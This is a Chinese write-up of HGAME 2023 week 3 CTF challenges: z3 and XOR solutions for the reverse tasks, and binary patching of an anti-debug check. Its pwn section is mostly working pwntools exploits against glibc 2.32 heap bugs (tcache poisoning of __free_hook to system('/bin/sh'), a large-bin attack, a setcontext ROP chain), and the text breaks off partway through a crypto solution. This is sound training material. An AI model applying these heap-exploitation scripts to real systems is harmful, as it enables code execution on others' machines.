WEEK3

Reverse

1、kunmusic

小黑子，露出鸡脚了吧？
dnspy打开pe和dll，dll中发现music函数

```
// WinFormsLibrary1.Class1
// Token: 0x06000012 RID: 18 RVA: 0x0000218C File Offset:
0x0000038C
public void music(object sender, EventArgs e)
{
    if (this.num[0] + 52296 + this.num[1] - 26211 + this.num[2] -
11754 + (this.num[3] ^ 41236) + this.num[4] * 63747 + this.num[5] -
52714 + this.num[6] - 10512 + this.num[7] * 12972 + this.num[8] +
45505 + this.num[9] - 21713 + this.num[10] - 59122 + this.num[11] -
12840 + (this.num[12] ^ 21087) == 12702282 && this.num[0] - 25228 +
(this.num[1] ^ 20699) + (this.num[2] ^ 8158) + this.num[3] - 65307
+ this.num[4] * 30701 + this.num[5] * 47555 + this.num[6] - 2557 +
(this.num[7] ^ 49055) + this.num[8] - 7992 + (this.num[9] ^ 57465)
+ (this.num[10] ^ 57426) + this.num[11] + 13299 + this.num[12] -
50966 == 9946829 && this.num[0] - 64801 + this.num[1] - 60698 +
this.num[2] - 40853 + this.num[3] - 54907 + this.num[4] + 29882 +
(this.num[5] ^ 13574) + (this.num[6] ^ 21310) + this.num[7] + 47366
+ this.num[8] + 41784 + (this.num[9] ^ 53690) + this.num[10] *
58436 + this.num[11] * 15590 + this.num[12] + 58225 == 2372055 &&
this.num[0] + 61538 + this.num[1] - 17121 + this.num[2] - 58124 +
this.num[3] + 8186 + this.num[4] + 21253 + this.num[5] - 38524 +
this.num[6] - 48323 + this.num[7] - 20556 + this.num[8] * 56056 +
this.num[9] + 18568 + this.num[10] + 12995 + (this.num[11] ^ 39260)
+ this.num[12] + 25329 == 6732474 && this.num[0] - 42567 +
this.num[1] - 17743 + this.num[2] * 47827 + this.num[3] - 10246 +
(this.num[4] ^ 16284) + this.num[5] + 39390 + this.num[6] * 11803 +
this.num[7] * 60332 + (this.num[8] ^ 18491) + (this.num[9] ^ 4795)
+ this.num[10] - 25636 + this.num[11] - 16780 + this.num[12] -
62345 == 14020739 && this.num[0] - 10968 + this.num[1] - 31780 +
(this.num[2] ^ 31857) + this.num[3] - 61983 + this.num[4] * 31048 +
this.num[5] * 20189 + this.num[6] + 12337 + this.num[7] * 25945 +
(this.num[8] ^ 7064) + this.num[9] - 25369 + this.num[10] - 54893 +
this.num[11] * 59949 + (this.num[12] ^ 12441) == 14434062 &&
this.num[0] + 16689 + this.num[1] - 10279 + this.num[2] - 32918 +
this.num[3] - 57155 + this.num[4] * 26571 + this.num[5] * 15086 +
(this.num[6] ^ 22986) + (this.num[7] ^ 23349) + (this.num[8] ^
16381) + (this.num[9] ^ 23173) + this.num[10] - 40224 +
this.num[11] + 31751 + this.num[12] * 8421 == 7433598 &&
this.num[0] + 28740 + this.num[1] - 64696 + this.num[2] + 60470 +
this.num[3] - 14752 + (this.num[4] ^ 1287) + (this.num[5] ^ 35272)
+ this.num[6] + 49467 + this.num[7] - 33788 + this.num[8] + 20606 +
(this.num[9] ^ 44874) + this.num[10] * 19764 + this.num[11] + 48342
+ this.num[12] * 56511 == 7989404 && (this.num[0] ^ 28978) +
this.num[1] + 23120 + this.num[2] + 22802 + this.num[3] * 31533 +
(this.num[4] ^ 39287) + this.num[5] - 48576 + (this.num[6] ^ 28542)
+ this.num[7] - 43265 + this.num[8] + 22365 + this.num[9] + 61108 +
this.num[10] * 2823 + this.num[11] - 30343 + this.num[12] + 14780
```

```
== 3504803 && this.num[0] * 22466 + (this.num[1] ^ 55999) +
this.num[2] - 53658 + (this.num[3] ^ 47160) + (this.num[4] ^ 12511)
+ this.num[5] * 59807 + this.num[6] + 46242 + this.num[7] + 3052 +
(this.num[8] ^ 25279) + this.num[9] + 30202 + this.num[10] * 22698
+ this.num[11] + 33480 + (this.num[12] ^ 16757) == 11003580 &&
this.num[0] * 57492 + (this.num[1] ^ 13421) + this.num[2] - 13941 +
(this.num[3] ^ 48092) + this.num[4] * 38310 + this.num[5] + 9884 +
this.num[6] - 45500 + this.num[7] - 19233 + this.num[8] + 58274 +
this.num[9] + 36175 + (this.num[10] ^ 18568) + this.num[11] * 49694
+ (this.num[12] ^ 9473) == 25546210 && this.num[0] - 23355 +
this.num[1] * 50164 + (this.num[2] ^ 34618) + this.num[3] + 52703 +
this.num[4] + 36245 + this.num[5] * 46648 + (this.num[6] ^ 4858) +
(this.num[7] ^ 41846) + this.num[8] * 27122 + (this.num[9] ^ 42058)
+ this.num[10] * 15676 + this.num[11] - 31863 + this.num[12] +
62510 == 11333836 && this.num[0] * 30523 + (this.num[1] ^ 7990) +
this.num[2] + 39058 + this.num[3] * 57549 + (this.num[4] ^ 53440) +
this.num[5] * 4275 + this.num[6] - 48863 + (this.num[7] ^ 55436) +
(this.num[8] ^ 2624) + (this.num[9] ^ 13652) + this.num[10] + 62231
+ this.num[11] + 19456 + this.num[12] - 13195 == 13863722)
    {
        int[] array = new int[]
        {
            132,
            47,
            180,
            7,
            216,
            45,
            68,
            6,
            39,
            246,
            124,
            2,
            243,
            137,
            58,
            172,
            53,
            200,
            99,
            91,
            83,
            13,
            171,
            80,
            108,
            235,
            179,
            58,
            176,
            28,
            216,
            36,
            11,
            80,
            39,
            162,
            97,
            58,
            236,
            130,
            123,
            176,
            24,
            212,
            56,
            89,
            72
        };
        string text = "";
        for (int i = 0; i < array.Length; i++)
        {
            text += ((char)(array[i] ^ this.num[i % this.num.Length])).ToString();
        }
        new SoundPlayer(Resources.过年鸡).Play();
        MessageBox.Show(text);
    }
}
```

结合程序，应该是每个按钮点击到一定次数，才会触发弹出flag

判断条件可以z3求解：

```
from z3 import *
num = [ BitVec(f'num[{i}]',32) for i in range(13)]

s = Solver()

s.add(num[0] + 52296 + num[1] - 26211 + num[2] - 11754 + (num[3] ^ 41236) + num[4] * 63747 + num[5] - 52714 + num[6] - 10512 + num[7] * 12972 + num[8] + 45505 + num[9] - 21713 + num[10] - 59122 + num[11] - 12840 + (num[12] ^ 21087) == 12702282 )
s.add(num[0] - 25228 + (num[1] ^ 20699) + (num[2] ^ 8158) + num[3] - 65307 + num[4] * 30701 + num[5] * 47555 + num[6] - 2557 + (num[7] ^ 49055) + num[8] - 7992 + (num[9] ^ 57465) + (num[10] ^ 57426) + num[11] + 13299 + num[12] - 50966 == 9946829 )
s.add(num[0] - 64801 + num[1] - 60698 + num[2] - 40853 + num[3] - 54907 + num[4] + 29882 + (num[5] ^ 13574) + (num[6] ^ 21310) + num[7] + 47366 + num[8] + 41784 + (num[9] ^ 53690) + num[10] * 58436 + num[11] * 15590 + num[12] + 58225 == 2372055 )
s.add(num[0] + 61538 + num[1] - 17121 + num[2] - 58124 + num[3] + 8186 + num[4] + 21253 + num[5] - 38524 + num[6] - 48323 + num[7] - 20556 + num[8] * 56056 + num[9] + 18568 + num[10] + 12995 + (num[11] ^ 39260) + num[12] + 25329 == 6732474 )
s.add(num[0] - 42567 + num[1] - 17743 + num[2] * 47827 + num[3] - 10246 + (num[4] ^ 16284) + num[5] + 39390 + num[6] * 11803 + num[7] * 60332 + (num[8] ^ 18491) + (num[9] ^ 4795) + num[10] - 25636 + num[11] - 16780 + num[12] - 62345 == 14020739 )
s.add(num[0] - 10968 + num[1] - 31780 + (num[2] ^ 31857) + num[3] - 61983 + num[4] * 31048 + num[5] * 20189 + num[6] + 12337 + num[7] * 25945 + (num[8] ^ 7064) + num[9] - 25369 + num[10] - 54893 + num[11] * 59949 + (num[12] ^ 12441) == 14434062 )
s.add(num[0] + 16689 + num[1] - 10279 + num[2] - 32918 + num[3] - 57155 + num[4] * 26571 + num[5] * 15086 + (num[6] ^ 22986) + (num[7] ^ 23349) + (num[8] ^ 16381) + (num[9] ^ 23173) + num[10] - 40224 + num[11] + 31751 + num[12] * 8421 == 7433598 )
s.add(num[0] + 28740 + num[1] - 64696 + num[2] + 60470 + num[3] - 14752 + (num[4] ^ 1287) + (num[5] ^ 35272) + num[6] + 49467 + num[7] - 33788 + num[8] + 20606 + (num[9] ^ 44874) + num[10] * 19764 + num[11] + 48342 + num[12] * 56511 == 7989404 )
```

```
s.add((num[0] ^ 28978) + num[1] + 23120 + num[2] + 22802 + num[3] *
31533 + (num[4] ^ 39287) + num[5] - 48576 + (num[6] ^ 28542) +
num[7] - 43265 + num[8] + 22365 + num[9] + 61108 + num[10] * 2823 +
num[11] - 30343 + num[12] + 14780 == 3504803 )
s.add(num[0] * 22466 + (num[1] ^ 55999) + num[2] - 53658 + (num[3]
^ 47160) + (num[4] ^ 12511) + num[5] * 59807 + num[6] + 46242 +
num[7] + 3052 + (num[8] ^ 25279) + num[9] + 30202 + num[10] * 22698
+ num[11] + 33480 + (num[12] ^ 16757) == 11003580 )
s.add(num[0] * 57492 + (num[1] ^ 13421) + num[2] - 13941 + (num[3]
^ 48092) + num[4] * 38310 + num[5] + 9884 + num[6] - 45500 + num[7]
- 19233 + num[8] + 58274 + num[9] + 36175 + (num[10] ^ 18568) +
num[11] * 49694 + (num[12] ^ 9473) == 25546210 )
s.add(num[0] - 23355 + num[1] * 50164 + (num[2] ^ 34618) + num[3] +
52703 + num[4] + 36245 + num[5] * 46648 + (num[6] ^ 4858) + (num[7]
^ 41846) + num[8] * 27122 + (num[9] ^ 42058) + num[10] * 15676 +
num[11] - 31863 + num[12] + 62510 == 11333836 )
s.add(num[0] * 30523 + (num[1] ^ 7990) + num[2] + 39058 + num[3] *
57549 + (num[4] ^ 53440) + num[5] * 4275 + num[6] - 48863 + (num[7]
^ 55436) + (num[8] ^ 2624) + (num[9] ^ 13652) + num[10] + 62231 +
num[11] + 19456 + num[12] - 13195 == 13863722 )
print(s.check())
m=s.model()
print(m)
```

然后计算flag

```
num = [0]*13
num[12] = 3221225605
num[1] = 221970504
num[2] = 2480046293
num[4] = 189
num[0] = 2147483884
num[5] = 86
num[6] = 1282375742
num[7] = 53
num[8] = 120
num[9] = 3531800775
num[10] = 2147483663
num[11] = 2147483741
```

```
num[3] = 106

c=[132, 47, 180, 7, 216, 45, 68, 6, 39, 246, 124, 2, 243, 137, 58,
172, 53, 200, 99, 91, 83, 13, 171, 80, 108, 235, 179, 58, 176, 28,
216, 36, 11, 80, 39, 162, 97, 58, 236, 130, 123, 176, 24, 212, 56,
89, 72]

for i in range(len(c)):
    c[i] ^= num[i%13]
    c[i] &=0x7f
print(bytes(c))
```

2、patchme

不会pwn的re手不是一个好CTFer！游戏规则：修复程序中的二进制安全漏洞，要求能严格执行原程序的正常功能且不变动文件大小，如果修复成功，在运行后输入任何内容即可输出flag。附件更新，增加部分源码以作提示：https://share.weiyun.com/Kj85naWl

main函数

```
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char format[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  dword_4028 = a1;
  qword_4020 = (__int64)a2;
  gets(format);
  printf(format);
  return 0LL;
}
```

gets存在溢出，题目要求是修复程序，然后运行会打印flag，那程序中也不然有flag。。。main中没涉及，那只能是在main之前找找，init_array发现有函数先执行了sub_1887

```
.init_array:0000000000003D00 E0 13 00 00 00 00 00 00       off_3D00
dq offset sub_13E0   ; DATA XREF: LOAD:0000000000000168↑o
.init_array:0000000000003D00
                      ; LOAD:00000000000002F0↑o
.init_array:0000000000003D00
                      ; init+6↑o
.init_array:0000000000003D08 87 18 00 00 00 00 00 00       dq
offset sub_1887
```

退出时fini_array，执行loc_14C6

```
.fini_array:0000000000003D10                               assume
cs:_fini_array
.fini_array:0000000000003D10 A0 13 00 00 00 00 00 00       off_3D10
dq offset sub_13A0   ; DATA XREF: init+1D↑o
.fini_array:0000000000003D18 C6 14 00 00 00 00 00 00       dq
offset loc_14C6
.fini_array:0000000000003D18
_fini_array ends
```

进入到这里sub_1887，程序会修改loc_14C6函数的代码：

```
int sub_1887()
{
  _BYTE *v0; // rax
  int v2; // [rsp+Ch] [rbp-1B4h] BYREF
  int j; // [rsp+10h] [rbp-1B0h]
  int fd; // [rsp+14h] [rbp-1ACh]
  char *i; // [rsp+18h] [rbp-1A8h]
  char buf[408]; // [rsp+20h] [rbp-1A0h] BYREF
  unsigned __int64 v7; // [rsp+1B8h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  fd = open("/proc/self/status", 0);
  read(fd, buf, 0x190uLL);
  for ( i = buf; *i != 84 || i[1] != 114 || i[2] != 97 || i[3] !=
99 || i[4] != 101 || i[5] != 114; ++i )
    ;
  i += 11;
  __isoc99_sscanf(i, &unk_2008, &v2);
  if ( v2 )
```

```
    exit(0);
  LODWORD(v0) = mprotect((void *)((unsigned __int64)&loc_14C6 & 0xFFFFFFFFFFFFF000LL), 0x3000uLL, 7);
  for ( j = 0; j <= 960; ++j )
  {
    v0 = (char *)&loc_14C6 + j;
    *v0 ^= 0x66u;
  }
  return (int)v0;
}
```

取出loc_14C6中的数据进行异或处理后patch回去 这样就可以看到loc_14C6处的代码，同时sub_1887处把异或处理nop掉：

```
int sub_1887()
{
  _BYTE *v0; // rax
  int v2; // [rsp+Ch] [rbp-1B4h] BYREF
  int j; // [rsp+10h] [rbp-1B0h]
  int fd; // [rsp+14h] [rbp-1ACh]
  char *i; // [rsp+18h] [rbp-1A8h]
  char buf[408]; // [rsp+20h] [rbp-1A0h] BYREF
  unsigned __int64 v7; // [rsp+1B8h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  fd = open("/proc/self/status", 0);
  read(fd, buf, 0x190uLL);
  for ( i = buf; *i != 84 || i[1] != 114 || i[2] != 97 || i[3] != 99 || i[4] != 101 || i[5] != 114; ++i )
    ;
  i += 11;
  __isoc99_sscanf(i, &unk_2008, &v2);
  LODWORD(v0) = mprotect((void *)((unsigned __int64)sub_14C6 & 0xFFFFFFFFFFFFF000LL), 0x3000uLL, 7);
  for ( j = 0; j <= 960; ++j )
  {
    v0 = (char *)sub_14C6 + j;
    *v0 = *v0;
  }
  return (int)v0;
}
```

再进入sub_14C6，里面有判断条件，写入数据再读出来，判断是不是一致，把判断分支也patch一下，直接进入到最后打印flag即可：

```
int sub_14C6()
{
  int result; // eax
  __WAIT_STATUS stat_loc; // [rsp+Ch] [rbp-2C4h] BYREF
  int i; // [rsp+14h] [rbp-2BCh]
  __off_t st_size; // [rsp+18h] [rbp-2B8h]
  int pipedes[2]; // [rsp+20h] [rbp-2B0h] BYREF
  int v5[2]; // [rsp+28h] [rbp-2A8h] BYREF
  char *argv[4]; // [rsp+30h] [rbp-2A0h] BYREF
  struct stat stat_buf; // [rsp+50h] [rbp-280h] BYREF
  __int64 v8[5]; // [rsp+E0h] [rbp-1F0h]
  int v9; // [rsp+108h] [rbp-1C8h]
  __int16 v10; // [rsp+10Ch] [rbp-1C4h]
  char v11; // [rsp+10Eh] [rbp-1C2h]
  __int64 v12[5]; // [rsp+110h] [rbp-1C0h]
  int v13; // [rsp+138h] [rbp-198h]
  __int16 v14; // [rsp+13Ch] [rbp-194h]
  char v15; // [rsp+13Eh] [rbp-192h]
  char buf[80]; // [rsp+140h] [rbp-190h] BYREF
  char s1[8]; // [rsp+190h] [rbp-140h] BYREF
  __int64 v18; // [rsp+198h] [rbp-138h]
  char v19[280]; // [rsp+1A0h] [rbp-130h] BYREF
  int v20; // [rsp+2B8h] [rbp-18h]
  unsigned __int64 v21; // [rsp+2C8h] [rbp-8h]

  v21 = __readfsqword(0x28u);
  result = dword_4028;
  if ( dword_4028 <= 1 )
  {
    pipe(pipedes);
    pipe(v5);
    if ( fork() )
    {
      close(pipedes[0]);
      close(v5[1]);
      HIDWORD(stat_loc.__iptr) = 0;
      while ( SHIDWORD(stat_loc.__iptr) <= 35 )
      {
        buf[2 * HIDWORD(stat_loc.__iptr)] = 37;
        buf[2 * HIDWORD(stat_loc.__iptr)++ + 1] = 110;
      }
      buf[72] = 10;
      buf[73] = 0;
      write(pipedes[1], buf, 0x4AuLL);
      *(_QWORD *)s1 = 0LL;
      v18 = 0LL;
      memset(v19, 0, sizeof(v19));
      v20 = 0;
      read(v5[0], s1, 0x12CuLL);
      wait((__WAIT_STATUS)&stat_loc);
      strncmp(s1, buf, 0x14uLL);
      v8[0] = 0x5416D999808A28FALL;
      v8[1] = 0x588505094953B563LL;
      v8[2] = 0xCE8CF3A0DC669097LL;
      v8[3] = 0x4C5CF3E854F44CBDLL;
      v8[4] = 0xD144E49916678331LL;
      v9 = -631149652;
      v10 = -17456;
      v11 = 85;
      v12[0] = 0x3B4FA2FCEDEB4F92LL;
      v12[1] = 0x7E45A6C3B67EA16LL;
      v12[2] = 0xAFE1ACC8BF12D0E7LL;
      v12[3] = 0x132EC3B7269138CELL;
      v12[4] = 0x8E2197EB7311E643LL;
      v13 = -1370223935;
      v14 = -13899;
      v15 = 40;
      result = putchar(10);
      for ( i = 0; i <= 46; ++i )
        result = putchar((char)(*((_BYTE *)v8 + i) ^ *((_BYTE *)v12 + i)));
    }
    else
    {
      fflush(stdin);
      close(pipedes[1]);
      close(v5[0]);
      dup2(pipedes[0], 0);
      dup2(v5[1], 1);
      dup2(v5[1], 2);
      argv[0] = *(char **)qword_4020;
      argv[1] = "1";
      argv[2] = 0LL;
      sub_1AA0(*(char **)qword_4020, &stat_buf);
      st_size = stat_buf.st_size;
      if ( stat_buf.st_size == 14472 )
      {
        return execve(*(const char **)qword_4020, argv, 0LL);
      }
      else
      {
        puts("\nyou cannot modify the file size");
        return 0;
      }
    }
  }
  return result;
}
```

保存程序，运行，任意输入，打印flag

```
wz@u2204:/mnt/d/ctf/ti/hgame2023/week3/re-patchme$ ./patchme
123
123
hgame{You_4re_a_p@tch_master_0r_reverse_ma5ter}
```

3、cpp

C++是一门非常好的语言，他好就好在了逆向比较难😜

没必要逆，动调发现改动一个字符，密文也只改动该位置，所以应该可以按位爆破，不过还要摘代码。。

不知道是不是非预期，看到算法中间异或比较多，尝试随便输入明文，对明文和得到的密文进行异或后作为密钥，密钥异或flag密文即为flag，闹半天就是个异或加密。。。

exp:

```
c=[40, 80, 193, 35, 152, 161, 65, 54, 76, 49, 203, 82, 144, 241,
172, 204, 15, 108, 42, 137, 127, 223, 17, 132, 127, 230, 162, 224,
89, 199, 197, 70, 93, 41, 56, 147, 237, 21, 122, 255]

a=list(b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
b=[33, 86, 193, 47, 156, 187, 99, 39, 93, 15, 155, 64, 174, 253,
184, 206, 6, 82, 38, 216, 108, 141, 47, 129, 114, 225, 165, 176,
91, 211, 200, 83, 99, 60, 49, 198, 226, 43, 88, 227]

for i in range(len(c)):
    print(chr(a[i]^b[i]^c[i]),end='')
```

pwn

1、safe_note

由于ubuntu仓库已经移除了libc-2.32的包，附件中的libc包括了调试符号

```
#encoding=utf-8
from pwn import *
import time
'''
libc 2.32

#1、leak libc
#2、leak key
#3、tcache free hook
'''
context(os='linux',arch='amd64')
#context.log_level = 'debug'
r = remote('week-3.hgame.lwsec.cn',30621)
context.binary = '/mnt/d/ctf/ti/hgame2023/week3/pwn-safe_note/vuln'
#r = process(context.binary.path)
elf = context.binary

libc = elf.libc
```

```
def _add(idx, lenn,ddd='' ):
    r.sendlineafter(">",'1')
    r.sendlineafter("Index: ",str(idx))
    r.sendlineafter("Size: ",str(lenn))

def _remove(idx):
    r.sendlineafter(">",'2')
    r.sendlineafter("Index: ",str(idx))

def _edit(idx, ddd):
    r.sendlineafter(">",'3')
    r.sendlineafter("Index: ",str(idx))
    r.sendlineafter("Content: ",ddd)

def _view(idx):
    r.sendlineafter(">",'4')
    r.sendlineafter("Index: ",str(idx))



#1、leak libc
for i in range(8):#0-7
    _add(i,0x80)

for i in range(7):#1-7
    _remove(i+1)
_remove(0)
_edit(0,'')
_view(0)

main_arna_96 = u64(r.recv(6).ljust(8,b'\0'))
print('main_arna_96:',hex(main_arna_96))

malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) +
(malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print('libc_base:',hex(libc_base))
print('malloc_hook_addr:',hex(malloc_hook_addr))
print('free_hook_addr:',hex(free_hook_addr))
print('system_addr:',hex(system_addr))

#2、leak key
_view(1)
key = u64(r.recv(5).ljust(8,b'\0'))
heap_base = key << 12
print('heap_base:',hex(heap_base))

#3、free hook
free_hook_addr_next = free_hook_addr^key
_edit(7,p64(free_hook_addr_next)+p64(free_hook_addr))

#3、
_add(8,0x80)
_add(9,0x80)
_edit(9, p64(system_addr)*2)
_edit(8,'/bin/sh\0')
_remove(8)

r.interactive()
```

2、large_note

HINTS:

bin(包括tcache)对应的chunk的大小范围并不是常量，而是变量捏

large bin攻击 修改tcache_max_bins，然后同1

```
#encoding=utf-8
from pwn import *
from LibcSearcher import *
#import time
#context(os='linux',arch='amd64')
#context(os='linux',arch='i386')
#context.log_level = 'debug'
#r = remote('47.99.38.177',10002)
context.binary = '/mnt/d/ctf/ti/hgame2023/week3/pwn-large_note/vuln'
```

```python
r = process(context.binary.path)
elf = context.binary
libc = elf.libc

def _add(idx, lenn,ddd='' ):
    r.sendlineafter(b">",'1')
    r.sendlineafter(b"Index: ",str(idx))
    r.sendlineafter(b"Size: ",str(lenn))

def _remove(idx):
    r.sendlineafter(">",'2')
    r.sendlineafter("Index: ",str(idx))

def _edit(idx, ddd):
    r.sendlineafter(b">",'3')
    r.sendlineafter(b"Index: ",str(idx))
    #r.sendlineafter(b"Content: ",ddd)
    r.sendafter(b"Content: ",ddd)

def _view(idx):
    r.sendlineafter(b">",'4')
    r.sendlineafter(b"Index: ",str(idx))

def leaklibc(main_arna_96):
    malloc_hook_s = libc.symbols['__malloc_hook']
    free_hook_s = libc.symbols['__free_hook']
    system_s = libc.sym['system']

    malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) +
(malloc_hook_s & 0xFFF)
    libc_base = malloc_hook_addr - malloc_hook_s
    free_hook_addr = libc_base + free_hook_s
    system_addr = libc_base + system_s
    print('libc_base:',hex(libc_base))
    print('malloc_hook_addr:',hex(malloc_hook_addr))
    print('free_hook_addr:',hex(free_hook_addr))
    print('system_addr:',hex(system_addr))
    return libc_base,free_hook_addr,system_addr


_add(0,0x528) #大
_add(1,0x500)
_add(2,0x528)
_add(3,0x518)
_add(4,0x500)
_add(5,0x500)
_add(6,0x500)

#leak libc
_remove(0)
_edit(0,'\n') #低位为0  puts会截断
_view(0)
main_arna_96 = u64(r.recv(6).ljust(8,b'\0'))
print('main_arna_96:',hex(main_arna_96))
libc.address,free_hook_addr,system_addr = leaklibc(main_arna_96)
tcache_max_bins =  0x1e32d0 + libc.address
print('tcache_max_bins:',hex(tcache_max_bins))
_edit(0,'\x00')  # 修补回来，否则乱了

#leak heap
_remove(2)
_view(2)

heap_addr=u64(r.recv(6).ljust(8,b'\0'))
heap_base =  heap_addr& 0xFFFFFFFFFFFFF000

print('heap_addr:',hex(heap_addr))
print('heap_base:',hex(heap_base))



_add(0,0x528)
_add(2,0x528)
_remove(0)
# chunk1 to  large bin
_add(7,0x600)
_view(0)       # leak fd bk
fd_bk = u64(r.recv(6).ljust(8,b'\0'))
print('fd_bk:',hex(fd_bk))

print('libc.sym._IO_list_all:',hex(libc.sym._IO_list_all))
#_edit(0,p64(fd_bk)*2 +p64(0) +p64(libc.sym._IO_list_all-0x20))
_edit(0,p64(fd_bk)*2 +p64(0) +p64(tcache_max_bins-0x20))
#_edit(0,p64(fd_bk)*2 +p64(heap_addr) +p64(tcache_max_bins-0x20))
_remove(3)  # chunk3 地址写入 目标地址
```

```
_add(8,0x600)

_remove(5)
_view(5)
key = u64(r.recv(5).ljust(8,b'\0'))
print('key:',hex(key))
_remove(4)
_edit(4,p64(free_hook_addr^key))
_add(9,0x500)
_add(10,0x500) ##free hook
_edit(9,'/bin/sh\0')
_edit(10, p64(system_addr))
_remove(9)
r.interactive()
```

3、note_context

HINTS:

可以在week1的官方wp中找找思路捏

在2的基础上orw，使用setcontext+61 进行栈劫持，构造orw

```
#encoding=utf-8
from pwn import *
from LibcSearcher import *
#import time
#context(os='linux',arch='amd64')
#context(os='linux',arch='i386')
#context.log_level = 'debug'
r = remote('week-3.hgame.lwsec.cn',32601)
context.binary = '/mnt/d/ctf/ti/hgame2023/week3/pwn-
note_context/vuln'
#r = process(context.binary.path)
elf = context.binary
libc = elf.libc

def _add(idx, lenn,ddd='' ):
    r.sendlineafter(b">",'1')
    r.sendlineafter(b"Index: ",str(idx).encode())
    r.sendlineafter(b"Size: ",str(lenn).encode())
```

```python
def _remove(idx):
    r.sendlineafter(">",'2')
    r.sendlineafter("Index: ",str(idx).encode())

def _edit(idx, ddd):
    r.sendlineafter(b">",'3')
    r.sendlineafter(b"Index: ",str(idx).encode())
    #r.sendlineafter(b"Content: ",ddd)
    r.sendafter(b"Content: ",ddd)

def _view(idx):
    r.sendlineafter(b">",'4')
    r.sendlineafter(b"Index: ",str(idx).encode())

def leaklibc(main_arna_96):
    malloc_hook_s = libc.symbols['__malloc_hook']
    free_hook_s = libc.symbols['__free_hook']
    system_s = libc.sym['system']

    malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) +
(malloc_hook_s & 0xFFF)
    libc_base = malloc_hook_addr - malloc_hook_s
    free_hook_addr = libc_base + free_hook_s
    system_addr = libc_base + system_s
    print('libc_base:',hex(libc_base))
    print('malloc_hook_addr:',hex(malloc_hook_addr))
    print('free_hook_addr:',hex(free_hook_addr))
    print('system_addr:',hex(system_addr))
    return libc_base,free_hook_addr,system_addr


_add(0,0x528) #大
_add(1,0x500)
_add(2,0x528)
_add(3,0x518)
_add(4,0x500)
_add(5,0x500)
_add(6,0x500)

#leak libc
_remove(0)
```

```python
_edit(0,'\n')
_view(0)
main_arna_96 = u64(r.recv(6).ljust(8,b'\0'))
#print('main_arna_96:',hex(main_arna_96))
libc.address,free_hook_addr,system_addr = leaklibc(main_arna_96)
tcache_max_bins =  0x1e32d0 + libc.address
print('tcache_max_bins:',hex(tcache_max_bins))
_edit(0,'\x00')

#leak heap
_remove(2)
_view(2)

heap_addr=u64(r.recv(6).ljust(8,b'\0'))
heap_base =  heap_addr& 0xFFFFFFFFFFFFF000

print('heap_addr:',hex(heap_addr))
print('heap_base:',hex(heap_base))


_add(0,0x528)
_add(2,0x528)
_remove(0)
# chunk1 to  large bin
_add(7,0x600)
_view(0)       # leak fd bk
fd_nextsize = u64(r.recv(6).ljust(8,b'\0'))
print('fd_nextsize:',hex(fd_nextsize))

#print('libc.sym._IO_list_all:',hex(libc.sym._IO_list_all))
#_edit(0,p64(fd_nextsize)*2 +p64(0) +p64(libc.sym._IO_list_all-0x20))
_edit(0,p64(fd_nextsize)*2 +p64(0) +p64(tcache_max_bins-0x20))

#_edit(0,p64(fd_nextsize)*2 +p64(heap_addr) +p64(tcache_max_bins-0x20))
_remove(3)
_add(8,0x600)

_remove(5)
_view(5)
key = u64(r.recv(5).ljust(8,b'\0'))
```

```
print('key:',hex(key))
_remove(4)

_edit(4,p64(free_hook_addr^key))

setcontext_addr = libc.sym.setcontext + 61
print('setcontext_addr:',hex(setcontext_addr))
syscall_addr = next(libc.search(asm("syscall\nret")))
print('syscall_addr:',hex(syscall_addr))

_add(9,0x500)
_add(10,0x500) ##free hook
_edit(9,'/bin/sh\0')

#2.31+ setcontext
pop_rdi_addr = libc.address + 0x2858f         # pop rdi; ret;
pop_rsi_addr = libc.address + 0x2ac3f         # pop rsi; ret;
pop_rdx_r12_addr = libc.address + 0x114161    # pop rdx ; pop r12 ;
ret
ret_addr = pop_rdi_addr+1                     # ret
fake_frame_addr = libc.sym['__free_hook'] + 0x10
print('fake_frame_addr:',hex(fake_frame_addr))
frame = SigreturnFrame()

frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = ret_addr # ret;
frame = bytes(frame).ljust(0xF8, b'\x00')

rop_data = [
    libc.sym.open,
    pop_rdx_r12_addr,
    0x100,
    0,
    pop_rdi_addr,
    3,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    libc.sym.read,
    pop_rdi_addr,
    fake_frame_addr + 0x200,
    libc.sym.puts
]
#0x000000000014b760: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget = libc.address + 0x14b760
print('gadget:',hex(gadget))

payload =  p64(gadget) + p64(fake_frame_addr) + b'\x00' * 0x20 + p64(libc.sym.setcontext + 61)
payload += frame[0x28:] + b"flag\x00\x00\x00\x00" + p64(0) +flat(rop_data)

_edit(10,payload)
_edit(9,payload)
#gdb.attach(r,'b *$rebase(0x17d9)')
gdb.attach(r,f'b *{hex(ret_addr)}')
time.sleep(4)

_remove(9)
r.interactive()
```

Crypto

1、ezDH

这大过年的，Bob给Alice发了什么消息呢

目的是要求出p2，p2和p1相差一个shared_secret，所以只要求出shared_secret就能得到p2

sage：

```
n=0x2be227c3c0e997310bc6dad4ccfeec793dca4359aef966217a88a27da31ffbcd6bb271780d8ba89e3cf202904efde03c59fef3e362b12e5af5afe8431cde31888211d72cc1a00f7c92cb6adb17ca909c3b84fcad66ac3be724fbcbe13d83bbd3ad50c41a79fcdf04c251be61c0749ea497e65e408dac4bbcb3148db4ad9ca0aa4ee032f2a4d6e6482093aa7133e5b1800001
g = 2
```

```
A=0x22888b5ac1e2f490c55d0891f39aab63f74ea689aa3da3e8fd32c1cd774f7ca
79538833e9348aebfc8eba16e850bbb94c35641c2e7e7e8cb76032ad068a83742db
c0a1ad3f3bef19f8ae6553f39d8771d43e5f2fcb986bd72459456d073e70d5be4d7
